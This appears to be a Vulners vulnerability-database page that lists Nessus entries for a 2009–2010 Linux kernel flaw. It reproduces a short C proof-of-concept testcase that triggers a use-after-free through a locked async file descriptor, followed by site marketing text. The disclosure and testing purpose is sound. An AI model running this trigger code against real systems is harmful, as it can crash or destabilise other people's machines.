| Reporter | Title | Published | Views | Family All 62 |
|---|---|---|---|---|
| CentOS 5 : kernel (CESA-2010:0046) | 21 Jan 201000:00 | – | nessus | |
| Fedora 11 : kernel-2.6.30.10-105.2.13.fc11 (2010-1500) | 1 Jul 201000:00 | – | nessus | |
| MiracleLinux 3 : kernel-2.6.18-128.14.AXS3 (AXSA:2010-141:01) | 14 Jan 202600:00 | – | nessus | |
| Oracle Linux 5 : kernel (ELSA-2010-0046) | 12 Jul 201300:00 | – | nessus | |
| Oracle Linux 5 : Oracle / Enterprise / Linux / 5.5 / kernel (ELSA-2010-0178) | 7 Sep 202300:00 | – | nessus | |
| OracleVM 2.2 : kernel (OVMSA-2013-0039) | 26 Nov 201400:00 | – | nessus | |
| RHEL 5 : kernel (RHSA-2010:0046) | 20 Jan 201000:00 | – | nessus | |
| RHEL 5 : kernel (RHSA-2010:0149) | 24 Jan 201300:00 | – | nessus | |
| SuSE 11.2 Security Update: kernel (2010-01-28) | 9 Feb 201000:00 | – | nessus | |
| Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 / 9.10 : linux, linux-source-2.6.15 vulnerabilities (USN-894-1) | 5 Feb 201000:00 | – | nessus |
#ifndef _GNU_SOURCE
# define _GNU_SOURCE
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdint.h>
#include <stdbool.h>
#include <fcntl.h>
#include <stdlib.h>
#include <assert.h>
#include <asm/ioctls.h>
// Testcase for locked async fd bug -- taviso 16-Dec-2009
int main(int argc, char **argv)
{
int fd;
pid_t child;
unsigned flag = ~0;
fd = open("/dev/urandom", O_RDONLY);
// set up exclusive lock, but dont block
flock(fd, LOCK_EX | LOCK_NB);
// set ASYNC flag on descriptor
ioctl(fd, FIOASYNC, &flag);
// close the file descriptor to trigger the bug
close(fd);
// now exec some stuff to populate the AT_RANDOM entries, which will cause
// the released file to be used.
// This assumes /bin/true is an elf executable, and that this kernel
// supports AT_RANDOM.
do switch (child = fork()) {
case 0: execl("/bin/true", "/bin/true", NULL);
abort();
case -1: fprintf(stderr, "fork() failed, %m\n");
break;
default: fprintf(stderr, ".");
break;
} while (waitpid(child, NULL, 0) != -1);
fprintf(stderr, "waitpid() failed, %m\n");
return 1;
}
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation